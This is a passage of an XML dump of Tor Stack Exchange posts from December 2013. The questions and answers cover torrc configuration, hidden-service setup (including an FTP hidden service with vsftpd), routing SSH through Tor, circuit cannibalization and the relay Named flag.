  <row Id="1001" PostTypeId="2" ParentId="991" CreationDate="2013-12-14T10:30:28.470" Score="4" Body="&lt;p&gt;About 10 days from now - I just uploaded it.  That'd make it right around x-mas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want it sooner, you can also use our builds from &lt;a href=&quot;http://deb.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;deb.tpo&lt;/a&gt; -- &lt;a href=&quot;https://www.torproject.org/docs/debian&quot; rel=&quot;nofollow&quot;&gt;the tor website&lt;/a&gt; documents the sources.list entries.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2013-12-14T10:30:28.470" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1002" PostTypeId="2" ParentId="958" CreationDate="2013-12-14T15:20:22.657" Score="3" Body="&lt;p&gt;Similar q/a linked below should also apply here.  Not necessary imo. Although it might be more secure to use orbot's built-in transparent proxying (requires a rooted device)  which will torrify additional system applications/etc that you or the browser connect with. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/445/secure-my-connection-with-vpn-router-tor&quot;&gt;Secure my connection with VPN router &amp;amp; Tor&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.203" LastActivityDate="2013-12-14T15:20:22.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1003" PostTypeId="2" ParentId="984" CreationDate="2013-12-14T17:02:31.977" Score="3" Body="&lt;p&gt;Just looking through  &lt;a href=&quot;https://gitweb.torproject.org/tor.git/blob/e6590efaa77c8cf186ce92e6ebad175e9c6450d1:/src/or/or.h&quot; rel=&quot;nofollow&quot;&gt;code on git&lt;/a&gt;&#xA; I'm seeing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int NewCircuitPeriod; /**&amp;lt; How long do we use &#xA;                    a circuit before building... **/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which makes me think that if &quot;10s of hours&quot; in seconds is easily overflowing an int. try around 30000 maybe?  &lt;/p&gt;&#xA;" OwnerUserId="24" LastActivityDate="2013-12-14T17:02:31.977" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1004" PostTypeId="1" CreationDate="2013-12-14T17:32:23.997" Score="5" ViewCount="296" Body="&lt;p&gt;I need a little clarification on how hidden services work. So from my understanding a request to a hidden service goes like: request -&gt; Tor -&gt; server (running on localhost). Then the response is: server -&gt; Tor -&gt; response. Now is the data traveling from Tor to the server on localhost in plaintext? If so, wouldn't this mean that any other user on the hidden services LAN be able to read this information and know that they are running a hidden service? Am I correct in thinking this or do I have it all wrong?&lt;/p&gt;&#xA;" OwnerUserId="728" LastEditorUserId="923" LastEditDate="2014-07-03T21:49:29.743" LastActivityDate="2014-07-03T21:49:29.743" Title="Can users on LAN snoop out hidden service?" Tags="|onion-services|anonymity|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1005" PostTypeId="2" ParentId="997" CreationDate="2013-12-14T17:47:52.763" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;The ip-adress that is mentioned is not my external ip-address&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Edit your torrc to tell Tor your external IP, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Address $external_IP&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="131" LastActivityDate="2013-12-14T17:47:52.763" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="1006" PostTypeId="2" ParentId="1004" CreationDate="2013-12-14T17:59:30.577" Score="5" Body="&lt;p&gt;A hidden service does not necessarily have to run (listen) on the same host as the Tor relay that serves it. If the HS &lt;em&gt;does&lt;/em&gt; run on the same host as the relay, then the traffic between Tor and the HS does not have to hit the LAN. If the HS then &lt;em&gt;only&lt;/em&gt; accepts connections from localhost, the only 2 ways to connect to it are via Tor (.onion address) or directly from the host that runs both the relay and the HS. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if they're not on the same machine, it depends on the LAN (switch, firewall, ..) whether other users can detect the HS. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, if someone have access to the relay or the HS host (which can be the same) then they can find out about the HS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And yes, traffic from the relay to the HS is plaintext. Or rather: as plain as the service itself. If the HS uses an encrypted protocol, traffic doesn't get decrypted until it hits the HS.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2013-12-14T17:59:30.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1007" PostTypeId="2" ParentId="943" CreationDate="2013-12-14T18:46:16.403" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;why would the connection from a computer running Tor browser to the&#xA;  Tor network be unencrypted?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The 'Tor network' starts at the Tor client, which typically runs &lt;strong&gt;on the same machine as the browser&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The traffic from the Tor client to the Guard relay is encrypted in 3 layers of encryption. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The traffic form the exit node to the final destination is plaintext.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2013-12-14T18:46:16.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1008" PostTypeId="1" CreationDate="2013-12-14T22:02:24.437" Score="0" ViewCount="2148" Body="&lt;p&gt;How do I configure Tor, once I install it, to work. An error message says it's missing one of two files that Vidalia needs to start up. I'll give you the exact message when I try to install it again if you want it.&lt;/p&gt;&#xA;" OwnerUserId="716" LastActivityDate="2013-12-18T13:26:02.857" Title="How to configure Tor?" Tags="|tor-browser-bundle|configuration|vidalia|network-configuration|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1009" PostTypeId="5" CreationDate="2013-12-14T22:50:23.480" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-12-14T22:50:23.480" LastActivityDate="2013-12-14T22:50:23.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1010" PostTypeId="4" CreationDate="2013-12-14T22:50:23.480" Score="0" Body="Java (not to be confused with JavaScript) is a class-based, object-oriented, strongly typed, reflective language and runtime environment (JRE). Java programs are compiled to bytecode and run in a virtual machine (JVM) enabling a &quot;write once, run anywhere&quot; (WORA) methodology." OwnerUserId="612" LastEditorUserId="612" LastEditDate="2013-12-20T08:55:52.860" LastActivityDate="2013-12-20T08:55:52.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1012" PostTypeId="1" AcceptedAnswerId="1017" CreationDate="2013-12-15T05:05:37.137" Score="3" ViewCount="271" Body="&lt;p&gt;Bug report &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/5231&quot; rel=&quot;nofollow&quot;&gt;#5231&lt;/a&gt; mentions &lt;strong&gt;cannibalized circuits&lt;/strong&gt;: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This can happen when we cannibalize a circuit which has already been cannibalized.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What are cannibalized circuits and how they're used in Tor? And why a spooky term like &lt;em&gt;cannibalization&lt;/em&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For those who wants to check the related code, &lt;a href=&quot;https://gitweb.torproject.org/tor.git/blob/HEAD:/src/or/circuitlist.c#l1268&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;circuit_find_to_cannibalize&lt;/code&gt;&lt;/a&gt; seems like a good starting point. &lt;/p&gt;&#xA;" OwnerUserId="731" LastActivityDate="2014-07-03T21:49:23.427" Title="What are cannibalized circuits and how Tor make use of them?" Tags="|circuit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1013" PostTypeId="2" ParentId="1008" CreationDate="2013-12-15T05:40:54.300" Score="0" Body="&lt;p&gt;You can configure Tor by editing your &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#torrc&quot; rel=&quot;nofollow&quot;&gt;torrc&lt;/a&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow&quot;&gt;Tor manual&lt;/a&gt; explains different available configuration options in detail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that editing torrc file is intended for advanced users and Vidalia interface can be used for basic configuration (once you're able to run it, of course):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tor installs a text file called torrc that contains configuration instructions for how your Tor program should behave. The default configuration should work fine for most Tor users. Users of Vidalia can make common changes through the Vidalia interface — only advanced users should need to modify their torrc file directly.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="731" LastActivityDate="2013-12-15T05:40:54.300" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1014" PostTypeId="2" ParentId="957" CreationDate="2013-12-15T07:15:56.920" Score="7" Body="&lt;p&gt;By default, Tor Browser &lt;a href=&quot;https://gitweb.torproject.org/torbrowser.git/blob/HEAD:/src/current-patches/firefox/0002-Make-Permissions-Manager-memory-only.patch&quot;&gt;forgets about permissions&lt;/a&gt; when you close it. You can easily check it by revisiting Youtube (and see if it asks for permission again).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If &lt;code&gt;permissions.memory_only&lt;/code&gt; preference is set to false (default is true), Tor Browser stores permissions in a file named &lt;code&gt;permissions.sqlite&lt;/code&gt; in the profile directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have this file and it's modified recently, you can use a program like &lt;a href=&quot;http://sqlitestudio.pl/&quot;&gt;sqlitestudio&lt;/a&gt; to selectively remove existing permissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to remove all existing permissions, removing &lt;code&gt;permissions.sqlite&lt;/code&gt; file should also do.&lt;/p&gt;&#xA;" OwnerUserId="731" LastActivityDate="2013-12-15T07:15:56.920" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1015" PostTypeId="2" ParentId="123" CreationDate="2013-12-15T07:26:24.060" Score="6" Body="&lt;p&gt;My config for all connections looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;nano /etc/ssh/sshd_config&#xA;&#xA;Host *&#xA;CheckHostIP no&#xA;Compression yes&#xA;Protocol 2&#xA;ProxyCommand connect -4 -S localhost:9050 $(tor-resolve %h localhost:9050) %p&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And for some domains it can looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Host mydomain&#xA;HostName mydomain.com&#xA;User myaccount&#xA;CheckHostIP no&#xA;Compression yes&#xA;Protocol 2&#xA;ProxyCommand connect -4 -S localhost:9050 $(tor-resolve %h localhost:9050) %p&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user732" LastActivityDate="2013-12-15T07:26:24.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1016" PostTypeId="1" AcceptedAnswerId="1022" CreationDate="2013-12-15T07:30:34.223" Score="5" ViewCount="10366" Body="&lt;p&gt;I want to make my ftp server visible only from Tor side.&lt;/p&gt;&#xA;" OwnerDisplayName="user732" LastActivityDate="2015-10-16T14:35:24.950" Title="How can I anonymize my FTP traffic using the Tor network?" Tags="|onion-services|anonymity|configuration|debian|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1017" PostTypeId="2" ParentId="1012" CreationDate="2013-12-15T10:13:58.473" Score="5" Body="&lt;p&gt;Tor often builds circuits well in advance of actually needing them.  This speeds up various operations since building circuits are quite expensive and time consuming.  Circuits it has build are earmarked for a specific purpose, say making exit connections out of the Tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Tor wants to do some specific operation (say connect to an introduction point) but does not have a pre-built circuit for a specific purpose, it may instead use a circuit it prepared for another job if that one hasn't been used yet.  That's what Tor calls cannabalizing.&lt;/p&gt;&#xA;" OwnerUserId="58" LastEditorUserId="923" LastEditDate="2014-07-03T21:49:23.427" LastActivityDate="2014-07-03T21:49:23.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1018" PostTypeId="2" ParentId="866" CreationDate="2013-12-15T14:35:42.583" Score="3" Body="&lt;p&gt;I don't think there's any limit other than inherited from &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob/36761c7d553df7b0160bd1180c19b4a58362c827:/tor-spec.txt#l1202&quot; rel=&quot;nofollow&quot;&gt;the protocol&lt;/a&gt;, i.e. 2^16.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/tor.git/blob/tor-0.2.4.19:/src/or/connection_edge.c#l1683&quot; rel=&quot;nofollow&quot;&gt;The code&lt;/a&gt; does suggest that all stream IDs (other than 0) are acceptable for streams.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2013-12-15T14:35:42.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1019" PostTypeId="2" ParentId="866" CreationDate="2013-12-15T15:26:22.517" Score="2" Body="&lt;p&gt;There is no limit to the number of streams in a circuit, but not every stream 'fits' every circuit. If a new stream needs to connect to an IP:port that your existing circuit(s) can't handle, because the exit node rejects it, you need to build a new circuit. &lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2013-12-15T15:26:22.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1020" PostTypeId="2" ParentId="1016" CreationDate="2013-12-15T15:45:34.033" Score="0" Body="&lt;p&gt;You have to make your FTP server a hidden service. &#xA;In your torrc, you have to specify:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir HSDIR&#xA;HiddenServicePort  VIRTPORT HSADDRESS:HSPORT&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;HSDIR&lt;/code&gt; is a directory where HS key/data gets stored. Must be r+w for Tor and, as far as I know, by nobody else.&#xA;&lt;code&gt;VIRTPORT&lt;/code&gt; is the port that clients connect to on your onion address. (You can find your onion address in the directory you specified as &lt;code&gt;HSDIR&lt;/code&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;HSADDRESS:HSPORT&lt;/code&gt; the address:port where your HS actually listens. You may omit these. By default, this is 127.0.0.1 (same host as your Tor relay) and the port is the same as &lt;code&gt;VIRTPORT&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/docs/tor-hidden-service.html.en&quot; rel=&quot;nofollow&quot;&gt;See the Tor Manual on hidden services..&lt;/a&gt; Note that this example uses a web server, not an FTP server, but the process is the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; (Because of weasel's comment) - Because of the way the FTP protocol works with setting up data connections, I think it may not be compatible with Tor at all.. &lt;/p&gt;&#xA;" OwnerUserId="350" LastEditorUserId="350" LastEditDate="2013-12-15T17:25:28.750" LastActivityDate="2013-12-15T17:25:28.750" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1021" PostTypeId="1" CreationDate="2013-12-15T18:12:25.547" Score="2" ViewCount="2903" Body="&lt;p&gt;I have tried multiple times to set a proxy for the &lt;a href=&quot;https://www.torproject.org/docs/pluggable-transports&quot; rel=&quot;nofollow&quot;&gt;Pluggable Transports Tor Browser Bundle&lt;/a&gt; but never succeeded.  I attempted to set the proxy in Vidalia as HTTP/HTTPS proxy. I have also tried SOCKS5 AND SOCKS4 and none of these is working.  Vidalia said:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Vidalia was unable to apply your NETWORK setting to tor&lt;br&gt;&#xA;  Unacceptable option value : You have configured more than one proxy&#xA;  type . (Socks4proxy|HTTPSProxy|ClientTransportPlugin)&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How to solve this error?&lt;/p&gt;&#xA;" OwnerUserId="734" LastEditorUserId="58" LastEditDate="2013-12-16T16:25:43.797" LastActivityDate="2013-12-16T16:25:43.797" Title="How to configure proxy setting in Pluggable Transport Bundle?" Tags="|tor-browser-bundle|configuration|onion-routing|network-configuration|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1022" PostTypeId="2" ParentId="1016" CreationDate="2013-12-15T22:17:58.107" Score="6" Body="&lt;p&gt;In regard to the server requirements, there are a few important differences between a hidden FTP service and a regular FTP service.  Also, you should &lt;strong&gt;check your ftp server software to make sure it doesn't leak your IP address&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Force the client to use passive mode, not active/port mode.  In passive mode the client initiates both the control and the data connection.  In active mode, the server initiates the data connection.  See &lt;a href=&quot;https://stackoverflow.com/questions/1699145/what-is-the-difference-between-active-and-passive-ftp&quot;&gt;here&lt;/a&gt; for more details.  (I think it'd be hard to support active mode, because from the perspective of the ftp server, the client is connecting from localhost, so when the server makes the data connection to the client it will try to connect to localhost.  You'd need some serious magic to intercept and redirect that connection, through tor, and to the client's .onion address.  So to keep things easy, stick with passive mode.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To establish the data connection, the server will pick a new port and tell the client to connect to the server at that port. Since tor needs to know about that port range, you'll need to configure the ftp server to use a predefined port range and then add each of the port numbers in that range to a &lt;code&gt;HiddenServicePort&lt;/code&gt; directive.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;RFC 959 specifies that the server send the IP address and port number when soliciting a passive mode data connection.  Since, from the perspective of the server, the client is localhost, this IP address &lt;em&gt;should&lt;/em&gt; be 127.0.0.1.  If you configure your ftp server to only bind to the loopback address, then you can be reasonably sure that the server won't send your public IP to the client. If you're paranoid, you can use a tool like &lt;code&gt;strace&lt;/code&gt; to check.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1707  write(0, &quot;227 Entering Passive Mode (127,0,0,1,7,208).\r\n&quot;, 46 &amp;lt;unfinished ...&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here is a concrete example using CentOS 6 and vsftpd (check vsftpd docs &lt;a href=&quot;http://www.centos.org/docs/4/html/rhel-rg-en-4/s1-ftp-vsftpd-conf.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Install vsftpd (&lt;code&gt;yum install -y vsftpd&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Disable active mode by appending &lt;code&gt;port_enable=NO&lt;/code&gt; to &lt;code&gt;/etc/vsftpd/vsftpd.conf&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Make sure that vsftpd only binds to localhost, not your public IP address. Append &lt;code&gt;listen_address=127.0.0.1&lt;/code&gt; to vsftpd.conf.  For additional safety, reject/drop the ftp port and your chosen data ports at your firewall.&lt;/li&gt;&#xA;&lt;li&gt;Force vsftpd to use certain ports for the data connection, by appending these two params to vsftpd.conf: &lt;code&gt;pasv_max_port=2000&lt;/code&gt; and &lt;code&gt;pasv_min_port=2000&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Enable and start vsftpd. (&lt;code&gt;chkconfig vsftpd on; service vsftpd start&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Test the ftp server by making a local connection.  You might have to temporarily disable SElinux (&lt;code&gt;setenforce 0&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Configure the FTP service in tor&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/ftp-service/&#xA;HiddenServicePort 21&#xA;HiddenServicePort 2000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(you may want to use more than one data port if you expect to support multiple clients at the same time.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Restart Tor. (&lt;code&gt;service tor restart&lt;/code&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Check &lt;code&gt;/var/lib/tor/ftp-service/hostname&lt;/code&gt; for the hostname of your hidden service.&lt;/li&gt;&#xA;&lt;li&gt;Use the tor browser bundle to connect to the hidden ftp service.  The Tor wiki talks about it &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorFAQ#HowdoIusemybrowserforftpwithTor&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="733" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:21.987" LastActivityDate="2013-12-17T15:00:45.600" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1023" PostTypeId="1" CreationDate="2013-12-16T04:05:59.357" Score="1" ViewCount="272" Body="&lt;p&gt;While browsing on Tor this evening. I received a message from either windows security center or mcafee stating that they had blocked a &quot;risky connection&quot; coming from an &quot;anonymous proxy&quot; I didnt get a chance to write the message down in its entirety because I was browsing some fairly sensitive information and got scared and closed all my windows. The most disturbing part was that it referenced somewhere in my tor folders for the location of this threat and rated it at &quot;Very High&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I reinstalled Tor today and had been browsing a lot of questionable onion sites with javascript off since my reinstall (really wish this was disabled automatically). I was under the impression that Mcafee/Windows security had nothing to do with my Tor connection. ANY input would be GREATLY appreciated as I am (obviously) not very tech savvy. Thanks in advance. &lt;/p&gt;&#xA;" OwnerUserId="738" LastActivityDate="2013-12-18T00:38:22.273" Title="Risky Connection?" Tags="|security|" AnswerCount="0" CommentCount="9" ClosedDate="2014-12-06T21:53:26.467" ContentLicense="CC BY-SA 3.0" />
  <row Id="1025" PostTypeId="1" CreationDate="2013-12-16T11:08:14.733" Score="9" ViewCount="3799" Body="&lt;p&gt;Is there a plug-in for Chromium to activate and deactivate Tor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found plug-ins to manage HTTP proxies, but not SOCKS5.&lt;/p&gt;&#xA;" OwnerUserId="742" LastEditorUserId="923" LastEditDate="2015-02-23T17:50:24.753" LastActivityDate="2015-02-23T17:50:24.753" Title="Tor plug-in for Chromium?" Tags="|socks|plugin|chrome|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1028" PostTypeId="2" ParentId="1025" CreationDate="2013-12-16T14:41:16.013" Score="8" Body="&lt;p&gt;Currently the only safe web browser to use with Tor is Tor Browser. Tor Browser is based on Firefox but incorporates changes which are necessary to protect against profiling attacks. Many of the modifications which are needed are performed by the &lt;a href=&quot;https://gitweb.torproject.org/torbutton.git&quot;&gt;Torbutton&lt;/a&gt; Firefox add-on but &lt;a href=&quot;https://gitweb.torproject.org/torbrowser.git/tree/HEAD:/src/current-patches/firefox&quot;&gt;other changes&lt;/a&gt; have to be made at the code level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be nice if Chrome was an available option, but it would be a large amount of work to audit and perform the necessary changes. It is not sufficient to just enable or disable a SOCKS proxy, but also to &lt;a href=&quot;https://www.torproject.org/torbutton/en/design/&quot;&gt;remove all options&lt;/a&gt; for fingerprinting users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Privoxy and other HTTP proxies are not safe either because they only can remove fingerprinting information from HTTP traffic. It would be trivial for a malicious website to perform an attack to discover a user's identity by sending the attack traffic over HTTPS and so prevent the HTTP proxy from being able to detect the attempt.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2013-12-16T14:41:16.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1029" PostTypeId="2" ParentId="1021" CreationDate="2013-12-16T16:17:52.563" Score="3" Body="&lt;p&gt;If tor is configured to use a pluggable transport, you can't set Socks*Proxy or HTTP*Proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason is that tor does not make connections to relays or directory servers itself anymore, but instead delegates that job to the pluggable transport, a dedicated process running outside of tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to proxify your connection to the Tor network, you need to proxify those transports.  I don't think the pluggable-TBB has any GUI for this.  I'm also not aware of any transports that natively support being proxied, though external proxifiers might work.  This is probably not entirely trivial.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2013-12-16T16:17:52.563" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1031" PostTypeId="1" AcceptedAnswerId="1035" CreationDate="2013-12-16T23:27:00.140" Score="2" ViewCount="2981" Body="&lt;p&gt;Say I set up a server in the cloud as a relay, how can I set it up so I get maximum speed out of the network?  And how fast can a Tor-relay get with optimal bandwidth/response time?   &lt;/p&gt;&#xA;" OwnerUserId="330" LastEditorUserId="923" LastEditDate="2014-03-05T16:41:21.740" LastActivityDate="2014-03-05T16:41:21.740" Title="How can I set up the fastest network for a Tor relay?" Tags="|relays|tor-cloud|speed|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1032" PostTypeId="1" AcceptedAnswerId="1033" CreationDate="2013-12-17T19:57:11.197" Score="9" ViewCount="1514" Body="&lt;p&gt;A new relay of mine has been flagged as Stable and Guard, but not Named. What are the criteria for receiving the Named flag?&lt;/p&gt;&#xA;" OwnerUserId="72" LastActivityDate="2013-12-17T20:26:05.660" Title="When does a relay get the Named flag?" Tags="|relays|flags|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1033" PostTypeId="2" ParentId="1032" CreationDate="2013-12-17T20:20:08.913" Score="9" Body="&lt;p&gt;It used to be manually assigned by the authority operators, but a couple of years ago I wrote a &lt;a href=&quot;https://svn.torproject.org/svn/projects/tor-naming/auto-naming/trunk/&quot;&gt;set of scripts&lt;/a&gt; to vote on Named automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have documented their behavior in &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob/586eefedcd322feff099ead14fd0e83f93a7abaf:/dir-spec.txt#l1722&quot;&gt;dir-spec&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Newer Naming authorities run a script that registers routers&#xA;  in their mapping files once the routers have been online at&#xA;  least two weeks, no other router has that nickname, and no&#xA;  other router has wanted the nickname for a month.  If a router&#xA;  has not been online for six months, the router is removed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="58" LastActivityDate="2013-12-17T20:20:08.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1034" PostTypeId="2" ParentId="1032" CreationDate="2013-12-17T20:26:05.660" Score="7" Body="&lt;p&gt;From the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob/HEAD:/dir-spec.txt#l1722&quot;&gt;Tor directory specification&lt;/a&gt; (emphasis added):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;Named&lt;/em&gt; – Directory authority administrators may decide to support name&#xA;     binding.  If they do, then they must maintain a file of&#xA;     nickname-to-identity-key mappings, and try to keep this file consistent&#xA;     with other directory authorities.  If they don't, they act as clients, and&#xA;     report bindings made by other directory authorities (name X is bound to&#xA;     identity Y if at least one binding directory lists it, and no directory&#xA;     binds X to some other Y'.)  A router is called &lt;em&gt;Named&lt;/em&gt; if the router&#xA;     believes the given name should be bound to the given key.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Two strategies exist on the current network for deciding on&#xA;          values for the Named flag.  In the original version, relay&#xA;          operators were asked to send nickname-identity pairs to a&#xA;          mailing list of Naming directory authorities' operators.  The&#xA;          operators were then supposed to add the pairs to their&#xA;          mapping files; in practice, they didn't get to this often.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Newer Naming authorities run a script that registers routers&#xA;          in their mapping files &lt;strong&gt;once the routers have been online at&#xA;          least two weeks, no other router has that nickname, and no&#xA;          other router has wanted the nickname for a month&lt;/strong&gt;.  If a router&#xA;          has not been online for six months, the router is removed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Once the relay gets the Named flag it won't stop other people giving the same name to their node, but since only one node with a given name can have the &lt;em&gt;Named&lt;/em&gt; flag, it will allow users to &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-relays/2013-April/002132.html&quot;&gt;unambiguously refer to your node by name&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob/HEAD:/dir-spec.txt#l2828&quot;&gt;Section 6.2&lt;/a&gt; of the Tor Directory Specification is also relevant:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When a client encounters a name it has not mapped before:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If the consensus lists any router with that name as &quot;Named&quot;, or if&#xA;        consensus-method 2 or later is in use and the consensus lists any&#xA;        